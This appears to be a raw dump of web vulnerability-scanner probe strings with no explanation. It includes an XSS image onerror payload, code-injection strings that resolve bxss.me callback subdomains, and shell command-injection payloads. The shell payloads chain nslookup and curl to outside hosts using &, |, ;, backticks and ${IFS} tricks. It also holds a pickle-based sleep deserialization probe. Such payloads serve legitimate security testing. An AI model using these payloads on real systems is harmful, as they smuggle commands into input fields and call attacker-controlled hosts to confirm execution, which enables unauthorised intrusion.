<img src="x" onerror="alert('XSS1')">

'.gethostbyname(lc('hitwc'.'sfoawqzh790c6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(72).chr(115).chr(74).'

&nslookup -q=cname hitsuricfzuxfb199a.bxss.me&'\"`0&nslookup -q=cname hitsuricfzuxfb199a.bxss.me&`'

".gethostbyname(lc("hitqt"."tpgjtlixd0714.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(85).chr(116).chr(88)."

gethostbyname(lc('hitjg'.'ujdkwhwfc742b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(65).chr(108).chr(87)

&(nslookup -q=cname hitbewlpdrpaef2d8f.bxss.me||curl hitbewlpdrpaef2d8f.bxss.me)&'\"`0&(nslookup -q=cname hitbewlpdrpaef2d8f.bxss.me||curl hitbewlpdrpaef2d8f.bxss.me)&`'

|(nslookup -q=cname hitirjaclrlkgad1de.bxss.me||curl hitirjaclrlkgad1de.bxss.me)

ctime
sleep
p0
(I30
tp1
Rp2
.

`(nslookup -q=cname hitqiocfncljx6b0be.bxss.me||curl hitqiocfncljx6b0be.bxss.me)`

;(nslookup -q=cname hitdiqqdxrhyp5d084.bxss.me||curl hitdiqqdxrhyp5d084.bxss.me)|(nslookup -q=cname hitdiqqdxrhyp5d084.bxss.me||curl hitdiqqdxrhyp5d084.bxss.me)&(nslookup -q=cname hitdiqqdxrhyp5d084.bxss.me||curl hitdiqqdxrhyp5d084.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hitslqcdbbjfheb080.bxss.me||curl${IFS}hitslqcdbbjfheb080.bxss.me)